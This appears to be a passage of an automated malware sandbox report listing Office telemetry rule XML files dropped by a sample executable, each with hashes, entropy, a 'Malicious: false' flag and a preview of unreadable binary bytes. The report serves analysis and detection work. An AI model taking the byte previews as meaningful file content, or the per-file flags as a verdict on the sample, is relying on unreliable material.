Preview:	<?xml.k..5.o.....x.../......G....?.4B...0..\.Z..<...u.4l#...c.d)........ly.3..r...K#.n.3xB.2....5R..?1.f..4.h.X..]O1{Ac..-..x.e.................o2....).jC......S._UTT.j]...".u...v....b\|'c.(w.....Q.M.>~e#s..j.u~..V5..8)L.9.a.~,b..y/.N..w....I+.\..Q2......D.]...Z.....u....}......._.h.?M.. ..q..L].....HChr...v.5....D.hj..b.4.R..?..U...$..#{.V.HI.P...(..T.C.V.yZ}./..#Kl?....L...v#.91...B.#M..[.<..)..k.....J..H...!..Y.{4gox.n.....nZw.1D..H.<uC=5f.F.E.R.?^..k..t.~..F.N.r..y..:.>{o..c...M..rQ..T.?.V\|.kG.u...q.m.....=..S..@..0.sA..%-..K..b..N.$Mk..g..y">i......^?.......a...M..e.....#S....2.....{.>o...k.~.....w-Y.u.N..s..\|s0X...{../U.....V1....D.1z.......&IOur:....L.J....kY[..".....h.....Z..k..3S#.V..6.Fl....d....ic...\U7^.....YQ!..A....Q....qf.-.w.v.U..gCn.....)..C.....IJ.!_..{\.C.^@..<_~.~yk..9..\|.(.n.W.....hC'... .V.&U.cbT..F..07..CgS(..T...~.....Bg...f............M.&u'Y.......P...r..n...n.I..3.[#..ZK_.Eq.,=..~...t.......2...^C.......\P..Q\..Kzs..&.hx..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702251v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1722
Entropy (8bit):	7.885659391452202
Encrypted:	false
SSDEEP:	48:ysYWH1rYJsi209NXs9dkIZRIORsuxb4CT4GXoDWf7lX34+RDED:ysYWHxF8N89dkIZqORsO4CwDWxX3jBQ
MD5:	2114ADC99EFDFABB69E37261B95E0FDA
SHA1:	A553452F36005B012DB80865A1CE008CE06D0513
SHA-256:	BEEFB59E677FC0AF75819BDC2FAFD738C37F7090AD92644C33A7FDBE799190C0
SHA-512:	AE445759EA1BF6654CE9BC24096ABC6D8DEF48F16D3AB4009C0F42B4587064260C11AD86E3F1776F58AD64D0E7EA080F3254A700C9BC26AC5E884EF28805B8AD
Malicious:	false
Preview:	<?xml..[K6<I.U..J/.v..S.+y.3..!.......:i%..MQ...r.$..\|v8.b.$H..&..jU.i.t:~.....k.>.i......J;.cE..90....@e.5...7.n.<...&.",0....V...@...BJ..^mpL....#{.>6.\#Q.......P.1.)X...<0D..7<...HQ001...R=..bo.Ad.:..8.X.^...mGW%Z4......=@$...?..yh...{[.>u..b...9.1...w...pU...Yj.D..W.vH...f...lj.....n`.$....A..x.OY'.c.!.g............$.=8..y.\.F..^.g6.]`.EF...y..<......Y/T]L....{6.".,...y.U...6.8E&.6..[.:,..jD....}.v..I...\|.VZ.HW..N.-A.iX....H.Y..@CV.LP.$_...2'w.l.&8....j.p..D.K.#Z..cq...G..rO...k.0&..cTo[...R.W{.\|...}......7....K6.._mnjhW...V.a......t..A.+..T.m...yn...x.IE.%...Z.g !.19/..5.R.....1C......\|.m}o......}=^.ynz..\%.r4......k.n....)$.d..j...S.gjS...}....s.F..j.zX+".....T...zt......c9os.5..7..g..el1...1.).O.f?/...2...;I....=a..z......3...M'.v..@...o._..}...G"..K.'.C.#J.6.z.:Xc.."....'.!.@..d..~g-........wQ....D...30.l..}..f>.............YM>...P.m..\|..&.i$....8..[...+....W..^......p..QF..M.e.......Z.O ..C..%.V.g...(.8..y.[}#.."..:y...x<

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702300v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.879332217030734
Encrypted:	false
SSDEEP:	24:h5CHss4nWpMsNiz0MaOhFlZOHdIBzKsdCAncWGecJbefkz/oJYlC+Wvh3UU5pUXZ:vWpzMzaOhIHyxpcDxef0zU+kRtGJ4iD
MD5:	71A60639287D1F27066C177FE2FEDE8D
SHA1:	DEA150BA3250FD4485CE388A612484789F4A147D
SHA-256:	926E98E2B3593DC4E2FFDF71F747F6680432140A21B6AFEA96039DE6E7C2264D
SHA-512:	853B3A610C6E0E9478BEA1C48F6BB967F8C0B25AAC744A562A76F75081CEC13C336EA45BDF08059B53B3B1A4B5547DBAD303FBCD2D08F5307CAC343ED71F1006
Malicious:	false
Preview:	<?xml.lU.U..9..f?.._X7.N.E.......)R...q...;)..Z.6U1G<...6.M.7.+.jp.i.E..Qp..."..........._..>W65..u..>"%...7l....P-..:. &.5.3 .GT..-...clZ&e..q...)S..g..t.#u...C.}A......];...oH...-O.+E.v...M\|}m.;.2.-..w..DI....i...`..B.}...J........N.y....O/.L\|.a..3...@.y..G...p.0.(.......hs."R..S.6..V..R(6..p.+.I.......".t.$...n.K.....w.......P.......rkJ.......=.L.\|9..U<..a..a}l..C.......h..6)...P..(;\..j...Q..g. v+$w.d^.l~...<.7o..FH=M.....rJS.&'^...Izz..e..o.\r..+.....#..1...3...:<5.k......6...i.q.........Q..............&...q...lE.PW.P./:Pm....[.R:J..(..y..$.dS4..O.......&......Z.X...2Y.......j..ma..R.e..kw..ah.f.K{....RO.....;......%..t>...ib=...t.......q..'..\I..ek.FL..1..x..wR...q...P.qV8..[U"...'...m..6. ....>......E.]...O..;../...\>.a.l?2}%......G.8..6>...S<.)Tz..EF......n...=\|..0.V....j.AU...!......-/.&3M/.U....h.....8B.R.'t...N..m.Sy.!#...n:...\..UW.B?Blqp..`...'U...\..d..T..ayx$..W:KO.Y._E....R.;........,....en.\|.%....[K:z,.........".Q.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702301v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.8960777320223645
Encrypted:	false
SSDEEP:	24:GvlrQwQB1JXnRFOd7XvKv5149D833lvTmoeMCy9AvEl6/PN285w4oxetdXmAdPx+:0oLJXnzu7XivBTIMCySMs/tFSetBYRD
MD5:	83F3DD9426D8622BF9FA969814CB9604
SHA1:	CCBC663EC935F2D78F52237BC5A06CC7EDBEF9A6
SHA-256:	91EE6BDCDB9225B3883383FB1F76637A93BBB83391F38EC72A7DD6B448D5A653
SHA-512:	99DE7A97570CB301AEA84D296381E835FDCB78FC66882E4A87500FCEB919050265E4949BF983F3C707E51B18725C98E8724D2FBF221CB6A809AAD7D90B01C7FA
Malicious:	false
Preview:	<?xmlwm.].DI....5@..f...s...."...k....`.?..k...~)..!Q..g.o.......b....k....T`.[}....\`.-..4.}.l.[.9g.a...........0...._Rkcx.q...Z.0..2#v..L....n.".Y7..t......$K...ji..~.....]..Ao..F.R.u.FA..v....S.Ru...C}CA?a.I..".....H2.,k.....<....Ad./G+......J....w.5...e...............B...;.M.EQ...?T~Q,V<j.).&MC.M...EC....^W...$l,#...m..I5.lg)!.h.kLI%.k....Q?..?....U.~x_..,.0.;...f7.A.....B..U..-9..O.<s.G..i.i#.\G......vD`....I.bw...Z.iU..T.F......&..&Yw."~JUu4V..k..!...>...._..v[.4...h.T ..]..?...N......E.v...[.....P.:.O=.....6..6.(_O.K.C(.....`-Ok.0..S.0....k..F..G...F..4%.Y..}.q......1.T..!...N ..=y..m....1......I..-..1..}..@..t..1A..~....,.6;./%..+...G/.K...d.].Z.......w......J..Txo...\..l..$.B\|[.........9..s....#U..J...-.Qt.m...k...._..Y}.vB..._...J-....HN*.t).2..x.)..XN........=........B...I.k.;.&.-.xL.......J.8...RF. u.....O..Z....\..)...q2.....'w........CQH(X..&...h...=..=.....n....t..P.?V.M5.\.X..v79..^z.$C..D.Bl......L.0..[.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702350v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.874087230719998
Encrypted:	false
SSDEEP:	48:hzVaCAgPcmpDAmpyZu4IGI5mD8PG2le0GdYgl8I3D:hGISmpyZuP19y0Gdgo
MD5:	6F0007D56800D3A6913B05A01359ED8A
SHA1:	B22ACA079182B3335104D0281F3B0191423F145A
SHA-256:	DD416C250FB32D152CA38ED1CCF5F5205748B2D087A52DEA459C3707171E149A
SHA-512:	14291699D89A1DD66A3C61EB947D8F977F09F34A04A92A732E1465A83417161EC7B30D4610E67A24D9990359422620A82B669A5D973D93C89B1C9896474339ED
Malicious:	false
Preview:	<?xml2.m.&.=..j[VT.M.l.....v....tM......Ja..4. .....$....1h.{.....,...........4Z..%..l..<3....T...]...3.!.[L..h.}...:.b.s.E2..2....y...W`.`.-......>V..t.....#....E..L..E/G.B....I.6f(...H...........O#l..q.v%......<b.,J..J.... 9y&.#..P.^V..QeI..^.#UXTF.....=......eBJ.J.:..."A..j ..dCox.s.BI%?.ty^...V...~....Vh...rj.F..g-.P..%_]./......u.]]."0..e....f...Y....[e".$?,.s.C...8y..........Cf....g........}v..p.b.6..\|x.s.W{.@..).Y....a.w..q=..}.m/' ..A+...v..R...P.t. ........0...:.$..n.dm.ILF..z}..._!..../..W.f.........<_...P..8&i.....Xnu...T..Ib"..^..e..R.$.r ......:ZX.s..HO......Mr..^\........1J}5.Z+.B....h...F...w..j*..\|..4&.....<.$.. ..........:..........0........'..I'......Si.....4L.Pl....3.O...W[....!.1\.b..... ~......z-<.8....99....E...0..w..t.....&..Qr..4..g...z.6...@..F..U...1..;. .\..Z.J.Y...5.4. .k..UBA.K...n.6.p.K.".H..yG.Q...3.D.6.\...".f....&@....{KB.R..Z"....VZw?hx.4.<.5"]....?b..N.....i.....Q.K.........K.L.Z..$.\|B".2G...'1.p.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702351v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.881111952317368
Encrypted:	false
SSDEEP:	48:gbmAlNwdJowiAszTvcHhAEPfmN83odYDUMg+6cyQvaD:UlNYJowHszTEOEPoIoXMg+6xUy
MD5:	0C1D448184A4420181B0C926227D0F4D
SHA1:	CBE49650C9FF1A1C065B563056A6271799020B19
SHA-256:	C061D77287354826D2DE960D53DA2F2802AC64D013EC86B8673565F7D9F4190C
SHA-512:	0CCC783EF58FC149847CAD49AFCCF0BA2FDC0B7A30ED27559E9165DCD30566BD55B312C0664A8B91B9132C8C1CCE9F97D2594FB04BE8C752F5710CECC92BCC33
Malicious:	false
Preview:	<?xmlA.V..&B........,A.......... &...7.............k%..Ev....RV.0....>..!..X.,a.....;S9......3..H4..{.jUK...$+$.62/.....3_..3..V..XP.X....N.B.}l...H.D..(.K.h..6..Q.G...M..x.W....X....]..)U..'V.n.[^.....r.\|.3'.X..G....[.?...O..cL......-15+..B&:.5,._.+.r8..@.H)..b...Of.Z.m.g.e..U..oa5d....\|...j...:]..4._......[dskxm...o..wXn.F..UY..p.wT...3.a.L.Wiw.r..7.d....cO}[.I../..IP..]......0.TMx..2.8....."..X..w.....n......k....i.) ]-7Q...EF.....LJ.........`D...,.....P..3(.(q.~...Hx.'.@V.w8.....R6.G..A..{.S./ER2..rl.@b9~./.K].......I?.$.O....OP.J;....'.{]....U<W ..QI.......vh>......&....c7.s..$;.d:.L...q..7q.P................F..!0....2.4..y..=.KuFWlf....8jTClu.._......B^...\|.,..Z....Y..W.\|..9....UjoP.d.l".........li9...#.RK.....F.....}yZ?... ...Y..i..q...1.Z.lZ....) .h.T...~..ir.yz..CH...T...+r......N.x`..Cx.r....Jv..0..Q.a......t..q...,..N4.2.L.`..6....L[.I.J..2...).....U.3.D...,JE.`..`......bZ...0d.8')b..DkVb.....^4...!...`B.....o#;Iz.,.U...T7j

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702400v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.894424728967657
Encrypted:	false
SSDEEP:	24:kELy4TWTaXVp8TwOty1LWBjem4xP3pOA1Di5TTdS00hly/qkCHdot/DY/1ZK482X:kELxSTwhLW0mq5RY9F02qjO/DY/hPD
MD5:	B7D703873B5F441F6E442BE80F3D453D
SHA1:	4B96DF9D07DEE02913E4F7A24654FB1FC0C6B00B
SHA-256:	C46C3D40EB90B23193C752F9B3309819C355C799FEC5F0765BE6DB65E0291870
SHA-512:	E3416896F6281881C2598FBDE55B089A9ECB08D92B0E00A5A28859944ABEC9A95631206D0583928EBABC5D32E1EAE17411CC4B52020533D50DDAC55C78A4442C
Malicious:	false
Preview:	<?xml.............}...25LciEU...TO.y.a...C..../.....M.......V...v....t.H..Y....h.k....t.".-.....-O])..6~.+.{..[3.o........5 C.)Z29..1c6gz.bP..Z...v...N.+..].'.2.E..v.!...W\....(...8.bO..K.....:....G..1..o...hU=..e.....(J.5s./...?YRM6...tz.............>Q7.Ga.\..L..f.k.R.....O......5.!...k.]...H....$v........1....S.An....A...z....$J......p...M...!..f.1.H.aa....m.t.e.~.F...A...H..;.V0...\|.G....J..je<1...:.3I`......~a....mH..]w..7?.&.j.t.t........o.rb..p+...`.....dX.z....[.....a.....D...w.V..O4......G\|..R."z...we..U.....7x..\|...Rz..S{+....r).2.0..n`...#..:k.....!Q..bX.....+.3.g4.pz..pO28.Ip....lol\|.2...f..].. ....L.5.....j'.q....2e3^.M ..M.Z.y1.x.[C..yj.....i+....).....jF..WD}..Qp...4...Up\.....PN..'.u........Gw...tp.Kis3tM...."].C.....8..;Yt@.....7Y..bxG.Q'..........#/..h0.g.dU~...\.=.w.V..B+.5\....M/...F..lG.5X..c:.-.R.....L.........F.2L.W....... .(.y..I.R.=?...Q...X.8U%.!..X..E."O......';....w.{d^x.Z.-.,.g.....?..s.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702401v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.879679987411379
Encrypted:	false
SSDEEP:	48:+HOkEZiNQG72LEg2jR1U7Etf3Jwuht+s8kGrD:+HO9x1EzjU7EtyuuYGH
MD5:	F67E193B19A3975C3542E4096ADCEFC7
SHA1:	37DF212E5FD1EAA0762C3F939894B28462DCD2E9
SHA-256:	67BBC107E4707D06813F74555AB44ED23A7CFD961FD9E54E94FAEBDBB7D7FDFB
SHA-512:	216F92BDCF7761351F0654BCB6C315F5B8A61196A24BF8F1245142D4E5442DAC33449EE8E1A406EDFAB6C24B05F05A93ADDAF10B7A83B77667B8FD5469321BED
Malicious:	false
Preview:	<?xml...B.X..'.......vK}.a\|..y.Xp..nf..HR...r.p.Z^.M.5}-..Q......\P..@ ..+.M....L...(s.7?...x'@.....P.~......).V.^.,QG............s..!.G.>..a..q%..R.`F....#23,.~]..W.......c9..d....q\|M.h...Nm......c...5_..F.1<.K....5.q(...x...6.....b9.?.....gw.XW.2..O.vw41{.h>$.....u4......(b..H_]6.._...sp..t.2..Dxv'.r..5.= ..Bq..i.x^.R....s.p.^{X.w.7[]G..\| .......2a..Z.:.W..4...o.K..m&.e..L...../...\...."..@....=>.`......x%.....R....1.................Z..=W.Z.+.-R<k.....{\....eRQ.....C...ci..9...b1..q``.1.T....c..O....R.......]2..m..Y%#s...=.2..q.{.n.#]9...6....)...8UY..H`%..F..2.u..O+DET@D...1.\|...8..lG.......#...9B..u.j....'~.p.5...4..T.....s.M..._..Z.{...E....J...D....OF^..}u..4.....S.]v...;K..?..Q.,.....dLeX......Z...O..%_'a...p.6....&*.\|".@.. ......../-..M....i8s.hm..ldQL..Y..I/..U....4.LW..........d.L..g.J......q.......HN[.._.a..)e.0-.M!%..H...&...H...B..Oz.xE....q...a.P5Vm.......'..,k..b.SaY.&w.5..o[{.n....U.~u.W.H.m........u..k.8 RH{..}.y..y.@Y;.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702450v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.878243088527617
Encrypted:	false
SSDEEP:	48:c8i2ny69Ztmb2T2eGK/bh8Zef+s+0LBuD:cV2y6Dt7TVbN1fH/BW
MD5:	84EABF89C5A87E9E5E83FAEAF8649765
SHA1:	07EEE15417AAED7C22684F4D09ADC4385BEB2EFF
SHA-256:	B7B9B2D047EF4CAEEA31BA3B87FF749B2AAE4BC0BCAFAC595CCC933AF65FCA7C
SHA-512:	762F648AB964CCE4B2CD52723E0F9126F455A8400005BAAAC66446E79D904B315A7B2A4E8D2246E11F99BCE34AB8F19375821EB8C54C21FE69A070899937840D
Malicious:	false
Preview:	<?xml...V.....w.....$u.a..,.y8..0....,w}$..F.S..Ye......-.i..}.n."$H._...s........5......v``j.%w3..^ .~F.p7....}..NUXfn..b..Po..9.K.)..4._.;".m.@4.6>..6.....K?;...f.,...._...mC.]R..P,QO....1.?..oV.....CR.9....=M&.W\.V['.Y".z.Y..%.M..[.....a.bD...........p..{G..'ej7....7..7..R..9..]...3TO&.}....dq..b+T..3oi.....D.e.=.n..9Y......V.<_m.+1.X..ha....4..,.C....Q.[......DS.....ib....._i.I..#...-..Z.wEQ.....0... .F):..{..iVK.F..+........[.{:......cU..Y#,xo.T.....B.8.$....mJ{...Q.~....,...\|.t%.Gl.T.5..}!Ky.....~.<...s...D.UC..V.......U.nfE.s.O8...w.q.#......z...N.........B...p..<..K..hY.W..1+......Y........a.W.a#0x.w..3..T.......L...}SUh.<....M....=...0C............,oK.6D;hM.......@([C.D.viYA-..S..r.\U!.........dinD..?..U.J.>.k(~y.....;E.......&..I..E......q...[......$.D..@Bb......*..Ij.[.d.e.F-.4.....K.pX........_..}..o...s~?Ao..N..W....[..@u...8..h....;.+.\|.zm.^.........i.2$...E~.G.....\|..[j6....L}.3...s.0T....._......&..7`.b........ .k.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702451v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.880857076658848
Encrypted:	false
SSDEEP:	48:Xo9SXhnTgQMTrrOjdNk04XG9JP36rzXJAD:XVRnTAijPPJXKzXJc
MD5:	9D280C59D30096B7F9771C323DBBCADE
SHA1:	D8AFF99BD98676736F18D190D9BFB0B9EB278962
SHA-256:	47326D8166C24AB71555871F30784FC96D9BFCF80ADC61AC13A5AC7E0E7B72D5
SHA-512:	285AB7F06CC3EBCADAB12891D6491293A40CD5F36A97E6CCDD5E4624588A1B36ADC52B03D0456E1BDBA8797602F04AB7C27478947D294C7A308DC8AFD2F8057D
Malicious:	false
Preview:	<?xmlh.$..h.M.........=...p.te.LCl4M...L.D.U.n.r..7..."X......K..`\|%..8Ly].......2..k[..1.......0v....xQ>.>\|.V&.!.3.t{.q.{'[....]b.....U.6HO.........(e..U..P..f.ve...\|T....!....g......\|.....Q.2.U....n.TB..%.vF.AO.4.#.O&..lB...SH..x....R3.Md.?...g...c.\|O...&..i.._.KZ..e3..a"B........Z.5.r...]..'Es\|s.}....".8..A.~;B...j5cu.zi}...$.^&..)....P.........2e...QV.{.T.`.]...0..~.9........@h....i..,........~.E]....r...[x.(..6..RK..X..v]yr.:D.5J~x......< .TH.M<i..J...z."9.5.E...Iri.4.3Z.8?..#i.@.........R$.I).6..^L......B..`.f...<r.P}....>.C...]._/.N...G....^3...\|3...~R.c.d.!..5...o[p...1...y...ys..d..'.......u......Udc%C..-..5.v..}EZS64Z..2..8wX...].0p.K.W.....NEg..J.S."........S.b2D.h....'G...4\|..7.^.4m...,/.~M.P.U0Y.V.j..Wt....Q.......f.s......6...jJ...X.e.h...r% .Y.\|.............!....d.l.?..k_<..g..v...P]:....2..Nm..s.:..OJs.o.\|..._..&.O../tU.....C-Q.bW.~.g$)HD:V.J..j..o.i.S.p.L'.... .Kf......d{.i.<.q)..A..w{..........y...U\.....{.p.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702500v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.874099418764347
Encrypted:	false
SSDEEP:	48:XN3oTmQySsmg1ySQPav7ZORQkZarn5NCw7RD:qTlySBWy8t/k4zZ
MD5:	D3FCC8F8F15762410E2456AAD1062412
SHA1:	CD9EAB1DA97721E42604F9D87747447BE591DF43
SHA-256:	E723364C5447DABA65A194FBA10AB618DAEB5ECD4D73F47B25361732FD5BC03D
SHA-512:	B7CB045DDC454790D400112B53A6240A5D646B345EFC6E39EAF0F4F5593BC484D11E685D969E2A9FA3611E0D83E36710F212F5CC875897E16FC36D0CEE9D1FE1
Malicious:	false
Preview:	<?xml..SeP8a....C.t..ax....'..[...b.9..../...Mal..J.m........~...\3.T...?.M.I. .i.-D9S..R.=?5..p7.Y.V.......z. 8...[.........Y..\|gj.1..c.^...p"...8v....E..k.M..".g.....wb.B.q...p.y......M...q.....Pj.-.]K..vSce..8Q......&go..2j.......E..Sg...El........?[emf...0ii. .Y... ..!..F...........)e........z.?=.q.)WMw...:.r..:...9ok.6..T\5....i.(q.$.v2...8......,.K".7O..!iO....o. .#4.{j.Jo4..h.r..../SK$.....A..s.9.4@.5..zA....''..(V....._J..T].}....A.O.R..w.+Y3...J.tw......Y...(.'.Y...E.D.B.8wxX+...$N. Y6@.4V....Q2?>...c.O......B......z..%\.h....._..2.x_8.7.h....!.9.Qt.Z...P.&.....q......B.H.8.b.r..U>4....=.T..r...~..q.6.. ..:...E`.H......G.v........x.l..z.'.j..N...axQP.w.E.A.!.e(....X.D..A{QJ*h5R...C)-%-cK.".`.U. ..R..R.Z.:../.;z._X4.._ ...o.{t.fB..3{......A...f.3{x......[..[.q.f...^.H..7.b.X;)..C.......z......$ .\|.U.....G.L...1...7e...H.\...w.:Y`..<{.b.X.).....C0Y...y_...;%=fA5n..q..{............O.....gX...T.%>9T.I.dX..E.u..T{.g....R.E.5{...$.q

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702501v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.902929733714376
Encrypted:	false
SSDEEP:	48:yUfhp5F/1HZIkDq2E1FOzPCQZFMHgqDCrsD:yoh51HBDXE72zLXTk
MD5:	004210CAE43E3871F5CC0EE3FFE6C008
SHA1:	167A0299835B318B0A13640974C281B9BC27BD3C
SHA-256:	51979E9C06C3CB1EC50C5B33F21ED6D9B9D39549DBF7D7E96A60DDC2234253A2
SHA-512:	26C65C4F95F1D97679BE80600C52B917EBEFCFD818E8631290CEF6D48DC27B5315C61F8A584FE3C39D5AD8C24EF5902FB829AC198787798711689BBE296F6379
Malicious:	false
Preview:	<?xml.L...Kdz..j..p..g.)..Q...B..v[.I......rLFl.u..5..H..d2....]w4v.l-..]........M....mj...[o..c[..=.......j"......>[R1..../.>..;.5..6I...@hRV,...........J..+.`..#..2..[...}k....._..Bp.ni.;..ks......w. .H.....G....~......F..[.K6.k[EM.k..bw,.Y....z..J.X.&Q.{)..O.b..i..pC...N.n...@{$N)~.>wXvw-.p.Rs...u.eg.0.$....FQ.@. .Q.GVn.S..i..}.m...b........... ....).b..8.\..?n.....l.3.x.y`..:..-E.u........N......lBm.....n.... \...K%W..-c....Q.!....(3.....=..{.\|..}h..+...v.p.....=W.<L.......q...&...d.....0H....8...J!......:.^.87.gP..O...g<9.{..{.(.a..p...Y.=..x^[8/[...?i.../8ZU,k({..'.............:.h........v.o..@...F.\.%v.......E.R,.[.k..1..@+..../..c..c.?Z.....&...k\.Y.J.S.].X.I..h...29!.g....>..=O.....8.5.....q...nbm..p./E1...d...D+......8=..y.....snH....yr.^.sVcH.T..Fs........!c./.%..Dcd..n..&/....t}F...j.C(.e_%x.......=oY.)M.G...n.....T....a2....V..[...../8,..(..>E..h..Zl_.`o.O.-.ZT.......y.l......2.....^..f.u.p.'j..1^.D ..0.mz.@.....L.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702550v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.890910202373571
Encrypted:	false
SSDEEP:	24:0FCnrl/WwBjWToWCWswfr3BnYRlKp0LJkbplbmd+OtX4R94ZNc5FUbUzWG7m84+w:+Cr0w0oWbb1YZJkbG+YX4qNbUyG7m5D
MD5:	56F0781DBDED39B2CB382C23E9B40437
SHA1:	615C0C92C6B4BE9B5108E667F01B011ED7E95549
SHA-256:	2E89370694B42704D5D67B57EB7FC3E556FA4FB05B893710F6F65E84312DD125
SHA-512:	030B902FB619828C91240CF064CF0946392E554CA73F828186B3EFA9605DA0109E0D6503BC299C7EF4F0AF24536484C9CB43C69394C8E86D2DC5C8D9C5DA532F
Malicious:	false
Preview:	<?xmlo._< ..?([....6mW....%..1..r.1r....f^TOY.......7/".T..eL'. -.Hit}..`Be..\7zE.f.`.3G.....(...U@.~...0...V.G.X...Dx.\........j..Db.N..C.6.D".?...^....'...D......J,.Y......+.n.....4 Xh...kbHi..}}..d.$....&RFc...X.........M.<....?QJ...g....NR....A[N.#.gI..16..0W0\..w....c8.Y..9..j5...!5....f..............3...@....{.%E...g.....cE&...3...o..~.W.znB.:.O..z#.Z8..$.<.Ja..sU.Cr....E.g.....[....C.#.@vyA....{...8....x&M..hwN@).uB.5..'B...k.r....UkF.A.i.f..j........Q.g.......0:"}.<...d9....eP...k+J.....p.-'..Z5..A.0r..%R%0.....{...S.k...H..]"./X...V......Y....y.[.N..$.Q...F.Bc^y@.p[..M.<...W>.(..,fc.20.$Y...SF.q.H.)..W(..`....Q,.v.O.(...s4j.. .[..L..y..f.f)..E.Z.............m...e...,...[......W0....Aay.....a...4)p......x...=.....b58..../L..gf....t..&..P.p.-n......s...uV*.x&P........vO..r._..9..u$2c.]?....?(....9j".PG#n.....7......'A.v.&.t.ktap+....j.A....9. T...Y..~..v.P.X..m...2.s.<.....f....6.`O.......Q..D).Tq..92LU.O.....I<.d.w......d

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702551v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.879786890448952
Encrypted:	false
SSDEEP:	48:QWlyyKo3KKYAh0B2BFexLWp05bp3DD8iD:QoyM3KKYEdgFvD/
MD5:	D51A247BC44830F0FA90D791E155C8ED
SHA1:	815D5CCC988884E821FF51516163172626584822
SHA-256:	24D9266E4E79355E3B4E332693D1DFA195641759039C6111259E1E02936CE62B
SHA-512:	49B84BCAC53E168DBD5A22F3A2B5F03DA05F615EEE72E74ECDA7085E2A31B2A6A5AE5FAEE3B335E8964EB33F89FDF117AA31E0E79FCD3AEDB162496634E97E58
Malicious:	false
Preview:	<?xml..T+.........,W.m...o..R..]yt.m........`......L.....&.z....R....!.r.D ....p.V.!V.2m..$S..=..L9..i.#..I..I.......zY..bx.j.i.T....9[IM...(.$.25.(f'.y_....GLp.R...+.....G.=....I...v...<vT..RqHhr.4.....l.F.w.5..'0.=...g.{.<....q.dq..,....A......6.kT.....p.X...x....p$.e.~.....s..^#......N..~.tN.......s...>l...+.2....\|[.&..&(.%}...8.! .w....E9#.\|.M]....} n...V..()...S/...pS:.oQ..~...%..Ck')...@0..Y..n.G....b~.8mw.....B.L..jd....#..HZ.....K...R(.6IY..>..:>.@...BnE.9.Q..q.6......\|.7..h2...i,...M... ...8.....l.c]....':......7m.!.a..7.iW..t.l...i.... .F...@[.u....F.Id....j...H..Ya?.9.H..LT.i....tk....\R]o.......T...eD...x....m....o1`....y....@_....6O'~..2.....7.#".!8.y.9.AK@..IW!..P.x..Fi....,.5t..x......bEP...n..[K..U.kk..HVp..M....=..T..q.u4.f&..?.{[z.l...&..a.V...it.K+....s.L........4.b...Gg-......{.Z..A..Xr.:mC..0P3... .B.^+>7.J.P.B..J..3B..mQ...D'......D........~....^U..~cf..;....pC.....JC.......g.o.....Z..\..y...A..r..k..BB.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702600v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.861280427675885
Encrypted:	false
SSDEEP:	48:ribwYBEXgNj36VjqVcAKRjm18ICrvxrBlq2u2gCovD:szEQV36VjqmAKs18Hxy23gCo7
MD5:	14904D16820DA17E386CB16F08F08286
SHA1:	30C83997C1F034BF9A1EEE42B7001BC8412B6859
SHA-256:	CA8508A7F169159E93DA64F5DF5600BBB17EDDD063E6508092070DA75F43DD27
SHA-512:	36B2C699D526773EFDD3ED745B5386C4E0AC425BCFC0B30A12D730A6DCF86668CCAB8443694BE42ED821ED3D0CAD946D29F40B92CECC548FA93009C54135F9E1
Malicious:	false
